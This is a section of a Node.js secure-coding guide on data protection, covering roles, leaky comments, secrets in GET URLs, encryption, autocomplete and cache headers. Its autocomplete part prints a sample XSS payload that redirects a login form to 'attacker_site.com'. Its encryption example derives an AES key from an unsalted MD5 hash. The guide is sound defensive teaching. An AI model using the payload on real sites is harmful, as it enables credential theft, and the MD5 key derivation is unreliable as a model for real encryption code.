Data Protection
Nowadays, one of the most important things in security is data protection. You don't want something like:
In a nutshell, data from your web application needs to be protected,. Therefore, in this section we will take a look at the different ways to secure it.
One of the first things you should take care of is creating and implementing the right privileges for each user and restrict them to strictly the functions they really need.
For example, consider a simple online store with the following user roles:
- Sales user: Permission only to view catalog
- Marketing user: Allowed to check statistics
- Developer: Allowed to modify pages and web application options
Also, in the system configuration (aka webserver), you should define the right permissions.
The main thing is to define the right role for each user - web or system.
Role separation and access controls are further discussed in the Access Control section.
Remove Sensitive Information
Temporary and cache files containing sensitive information should be removed as soon as they're not needed. If you still need some of them, move them to protected areas and/or encrypt them. This includes all authentication verification data, even on the server-side.
Last but not least, when using encryption, make sure you are using well vetted algorithms. More information in the Cryptographic Practices section.
Comments
Sometimes developers leave comments like To-do lists in the source-code, and sometimes, in the worst case scenario, developers may leave credentials.
// secret API endpoint - /api/mytoken?callback=myToken
console.log("Just a random code")
In the above example, the developer has an endpoint in a comment which, if not well protected, could be used by a malicious user.
URL
Passing sensitive information using the HTTP GET method leaves the web application vulnerable because:
- Data could be intercepted if not using HTTPS by MITM attacks
- Browser history stores the user's information. If the URL has session IDs, pins or tokens that don't expire (or have low entropy), they can be stolen.
const http = require('http');
const options = {
host: 'www.mycompany.com',
path: '/api/mytoken?api_key=000s3cr3t000'
};
const callback = (response) => {
let str = '';
// another chunk of data has been recieved, so append it to `str`
response.on('data', (chunk) => {
str += chunk;
});
// the whole response has been recieved, so we just print it out here
response.on('end', () => {
console.log(str);
});
}
http.request(options, callback).end();
If your web application tries to get information from a third-party website
using your api_key
, it could be stolen if anyone is listening within your
network. This is due to the lack of HTTPS and the parameters being passed
through GET.
Also, if your web application has links to the example site:
http://mycompany.com/api/mytoken?api_key=000s3cr3t000
It will be stored in your browser history so, again, it can be stolen.
Solutions should always use HTTPS. Furthermore, try to pass the parameters using the POST method and, if possible, use one time only session IDs or token.
Information Is Power
You should always remove application and system documentation on the production environment. Some documents could disclose versions or even functions that could be used to attack your web application (e.g. Readme, Changelog, etc.)
As a developer, you should allow the user to remove sensitive information that is no longer used. Imagine if the user has an expired credit card on their account and would like to remove it - your web application should allow it.
All information that is no longer needed must be deleted from the application.
It is also critical to ensure that no server-side source code can be downloaded or accessed by a user.
Encryption Is the Key
Every bit of highly sensitive information should be encrypted in your web application. See the Cryptographic Practices section for more information regarding algorithms and their usage.
Getting different permissions for accessing the code and limiting the access for your source-code is the best approach.
Do not store passwords, connection strings (see example for how to secure database connection strings on Database Security section) or other sensitive information in clear text or in any non-cryptographically secure manner on the client side.
This includes embedding in insecure formats (e.g. Adobe Flash or compiled code).
A small example of aes-256-cbc
encryption in Node.js using the
crypto
module:
const crypto = require('crypto');
// get password's md5 hash
const password = 'test';
const password_hash = crypto.createHash('md5').update(password, 'utf-8').digest('hex').toUpperCase();
console.log('key=', password_hash); // 098F6BCD4621D373CADE4E832627B4F6
// our data to encrypt
const data = 'Sample text to encrypt';
console.log('data=', data);
// generate random initialization vector
const iv = crypto.randomBytes(16)
console.log('iv=', iv);
// encrypt data
const cipher = crypto.createCipheriv('aes-256-cbc', password_hash, iv);
const encryptedData = cipher.update(data, 'utf8', 'hex') + cipher.final('hex');
console.log('encrypted data=', encryptedData.toUpperCase());
Output will be:
key= 098F6BCD4621D373CADE4E832627B4F6
data= Sample text to encrypt
iv= <Buffer d7 98 9a 54 a0 e6 bc 45 f3 7f bc 33 c2 0f 7d 00>
encrypted data= 83640168A86A9F2BC0BEEEDEB39756E195EF3D0758A3262F012697C3D718B039
Disable What You Don't Need
Another simple and efficient way to mitigate attack vectors is to guarantee that any unnecessary applications or services are disabled in your systems.
Autocomplete
According to Mozilla documentation, you can disable autocomplete
in the
entire form by using:
<form method="post" action="/form" autocomplete="off">
Or in a specific form element:
<input type="text" id="cc" name="cc" autocomplete="off">
This is especially useful for disabling autocomplete
on login forms. Imagine a
case where a Cross-Site Scripting vector is present in the login page.
If the malicious user creates a payload like:
window.setTimeout(() => {
document.forms[0].action = 'http://attacker_site.com';
document.forms[0].submit();
}
), 10000);
It will send the autocomplete form fields to the attacker_site.com
.
Cache
Cache control in pages that contain sensitive information should be disabled.
This can be achieved by setting the corresponding header flags.
The following snippet shows how to do this in an express
application:
const express = require('express');
const app = express();
// ...
app.use((req,res,next) => {
res.header('Cache-Control', 'private, no-cache, no-store, must-revalidate');
res.header('Pragma', 'no-cache');
next();
});
// ...
The no-cache
value tells the browser to revalidate with the server before
using any cached response. It does not tell the browser to not cache.
On the other hand, no-store
value is really - Hey stop caching! - and must
not store any part of the request or response.
The Pragma
header is there to support HTTP/1.0 requests.